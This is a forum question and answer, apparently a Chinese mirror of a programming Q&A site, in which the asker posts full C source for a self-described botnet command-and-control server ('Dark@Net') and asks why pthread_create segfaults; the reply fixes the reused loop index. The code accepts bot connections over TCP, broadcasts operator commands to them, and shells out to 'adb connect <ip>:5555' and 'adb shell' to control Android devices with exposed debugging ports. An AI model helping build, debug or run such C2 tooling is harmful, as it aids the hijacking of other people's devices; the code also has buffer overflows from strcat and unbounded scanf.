C分段错误,pthread_create

lrpiutwd  于 2022-12-17  发布在  其他
关注(0)|答案(1)|浏览(114)

我被这个pthread_create分段错误难住了。我已经用GDB找到了错误在哪里--有什么想法吗?是的,它是一个僵尸网络命令和控制服务器;请不要因为它是什么而发表负面评论。我的意图是好的,也是为了研究,也是为了我了解TCP/IP。
无论如何,pthread_create分段错误位于“pthread_create”,第249行。
你知道为什么会发生这种情况吗?甚至可能是一个解决方案?

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>

#define TRUE 1
#define FALSE 0 
#define PORT 8888

#define BUFFER_SIZE 1024

unsigned int device_count = 0;

pthread_mutex_t lock;

static void clear(void) {
    printf("\033[H\033[2J");
}

static void banner(void) {
    clear();
    puts("\e[0;32m ██████╗  █████╗ ██████╗ ██╗  ██╗███╗   ██╗███████╗████████╗");
    puts("\e[0;32m ██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝████╗  ██║██╔════╝╚══██╔══╝");
    puts("\e[0;32m ██║  ██║███████║██████╔╝█████╔╝ ██╔██╗ ██║█████╗     ██║   ");
    puts("\e[0;32m ██║  ██║██╔══██║██╔══██╗██╔═██╗ ██║╚██╗██║██╔══╝     ██║   ");
    puts("\e[0;32m ██████╔╝██║  ██║██║  ██║██║  ██╗██║ ╚████║███████╗   ██║   ");
    puts("\e[0;32m ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝   ╚═╝   ");
}

static void help(void) {
    puts("\n        ╔════ [Command] ════════════════════════════════════ [Description] ══════════════════════╗");
    puts("        ║     help                                           Displays help commands              ║");
    puts("        ║     list                                           Displays the amount of bots         ║");
    puts("        ║     banner                                         Displays the banner                 ║");
    puts("        ║     clear                                          Clears the screen                   ║");
    puts("        ║     exit                                           Exits the botnet                    ║");
    puts("        ╚════════════════════════════════════════════════════════════════════════════════════════╝");
}

static void list(void) {
    printf("\nBots -> %d\n", device_count);
}

void *handle_conn(void *new_socket) {
    terminal(*(int *)new_socket);
    pthread_exit(NULL);
    return NULL;
}

struct function {
    const char *shell;
    int (*function)(void);
};

struct function botnet_commands[] = {
    {"?", help},
    {"help", help},
    {"list", list},
    {"banner", banner},
    {"clear", clear},
};

enum {commands_amount = sizeof(botnet_commands) / sizeof(botnet_commands[0])};

int handler(char shell[BUFFER_SIZE]) {
    for (int i = 0; i < commands_amount; i++) {
        if (strstr(shell, botnet_commands[i].shell)) {
            return (*botnet_commands[i].function)();
        }
    }
}

void terminal(int master_socket){
    int k;
    int w_buf;
    char shell[BUFFER_SIZE];

    while(1){
        pthread_mutex_lock(&lock);

        printf("\n\e[0;31m╔═[ Dark@Net ]=[ Terminal ] ");
        printf("\n\e[0;31m╚═> ");

        w_buf = 0;
        bzero(shell, BUFFER_SIZE);

        while((shell[w_buf++] = getchar()) != '\n');

        if(strncmp("send_command", shell, 12) == 0){
            k = 0;

            char data_send[1024];
            bzero(data_send, 1024);

            printf("\n\e[0;31m╔═[ Dark@Net ]=[ Enter Command ]");
            printf("\n\e[0;31m╚═> ");

            while ((data_send[k++] = getchar()) != '\n');

            for (int i = 0; i <= device_count; i++) {
                pthread_mutex_unlock(&lock);
                if (write(master_socket, data_send, sizeof(data_send)) == -1) {
                    device_count--;
                }
                pthread_mutex_lock(&lock);
            }
            printf("\n[+] Data Successfully sent!\n");
        }else if (strncmp("connect", shell, 7) == 0) {
            char adb_con_before[15] = "adb connect ";
            char adb_con_after[15] = ":5555";
            
            char *adb_connect_ip;
            adb_connect_ip = (char *)malloc(32 * sizeof(char));
            
            printf("\n\e[0;31m╔═[ Dark@Net ]═[ Enter IP ]");
            printf("\n\e[0;31m╚═> ");
            scanf("%s", adb_connect_ip);
            
            strcat(adb_con_before, adb_connect_ip);
            strcat(adb_con_before, adb_con_after);
            
            system(adb_con_before);
            free(adb_connect_ip);
        } else if (strncmp("cmd", shell, 3) == 0) {
            char adb_shell_before[15] = "adb shell ";
            
            char *adb_cmd;
            adb_cmd = (char *)malloc(32 * sizeof(char));

            printf("\n\e[0;31m╔═[ Dark@Net ]═[ Enter Command ]");
            printf("\n\e[0;31m╚═> ");
            
            scanf("%s", adb_cmd);
            strcat(adb_shell_before, adb_cmd);

            system(adb_shell_before);
            free(adb_cmd);
        } else if (strncmp("shell", shell, 5) == 0) {
            printf("\nRemember, to exit, just use the 'exit' command.");
            system("adb shell");
        } else if (strncmp("restart", shell, 7) == 0) {
            system("adb kill-server");
            system("adb start-server");
        } else if (strncmp("exit", shell, 4) == 0) {
            break;
        } else {
            handler(shell);
        }
        pthread_mutex_unlock(&lock);
        sleep(1);
    }
    pthread_mutex_unlock(&lock);
}

int main(void){
    banner();
    int opt = TRUE;
    int max_sd;
    int master_socket, addrlen, new_socket, client_socket[100000], max_clients = 100000, activity, i = 0, valread, sd;
    struct sockaddr_in address;

    char buffer[1024];

    fd_set readfds;

    for (i = 0; i < max_clients; i++)
    {
        client_socket[i] = 0;
    }

    master_socket = socket(AF_INET, SOCK_STREAM, 0);
    if(master_socket == -1){
        printf("[-] Master socket setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Master socket setup successful...\n");
    }

    if(setsockopt(master_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&opt, sizeof(opt)) < 0 ){
        printf("[-] Master socket opt setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Master socket opt setup successful...\n");
    }

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons( PORT );

    if(bind(master_socket, (struct sockaddr *)&address, sizeof(address))<0){
        printf("[-] Bind setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Bind setup successful...\n");
    }

    if(listen(master_socket, 3) < 0){
        printf("[-] Listen setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Listening...\n");
        addrlen = sizeof(address);
    }

    pthread_t thread[150];
    pthread_mutex_init(&lock, NULL);

    while(1)
    {
        FD_ZERO(&readfds);
    
        FD_SET(master_socket, &readfds);
        max_sd = master_socket;
            
        for(i = 0; i < max_clients; i++){
            sd = client_socket[i];
                
            if(sd > 0)
                FD_SET(sd, &readfds);
                
            if(sd > max_sd)
                max_sd = sd;
        }
    
        activity = select(max_sd + 1, &readfds, NULL, NULL, NULL);
    
        if((activity < 0) && (errno!=EINTR))
        {
            printf("[-] Select setup unsuccessful...\n");
        }else{
            printf("[+] Select setup successful...\n");
        }

        if(FD_ISSET(master_socket, &readfds)){
            new_socket = accept(master_socket, (struct sockaddr *)&address, (socklen_t*)&addrlen);
            if(new_socket < 0){
                printf("[-] Client connection unsuccessful...\n");
                exit(0);
            }else{
                printf("[+] Client connected, IP: %s, Port: %d\n", inet_ntoa(address.sin_addr), ntohs(address.sin_port));
                device_count++;
                pthread_create(&thread[i++], NULL, handle_conn, &new_socket);
            }

            for(i = 0; i < max_clients; i++){
                if(client_socket[i] == 0){
                    client_socket[i] = new_socket;
                    printf("[+] Client added to list, ID: %d\n" , i);
                    break;
                }
            }
        }
            
        for(i = 0; i < max_clients; i++){
            sd = client_socket[i];
                
            if(FD_ISSET(sd, &readfds)){
                if((valread = read(sd, buffer, 1024)) == 0){
                    getpeername(sd, (struct sockaddr*)&address, (socklen_t*)&addrlen);

                    printf("[-] Client disconnected, IP: %s, Port: %d\n", inet_ntoa(address.sin_addr) , ntohs(address.sin_port));

                    device_count--;

                    close(sd);
                    client_socket[i] = 0;
                }else{
                    buffer[valread] = '\0';
                    send(sd, buffer, strlen(buffer), 0);
                }
            }
        }
    }
    return 0;
}

我已经试过广发了,它告诉我故障在哪里,还是不知道怎么解决。

jdzmm42g

jdzmm42g1#

问题(在这个问题中,可能还有其他问题)在于变量'i'被用在几个地方,显然是为了不同的事情。它在三个for()循环中被用作一个通用索引,迭代max_clients。但它也被用作某种线程计数器。
在调用pthread_create()时,'i'被设置为max_clients,这超出了thread[]数组的范围。
添加一个用作线程计数器的新变量可以解决此问题。

int thread_count = 0;
...
pthread_create(&thread[thread_count++], ...);

我建议完全删除函数作用域的变量'i',并使用作用域为循环的变量,例如。

for (int i = 0; ...)

这将使问题变得更加明显,因为您必须确定使用哪个变量来索引thread[]数组。

相关问题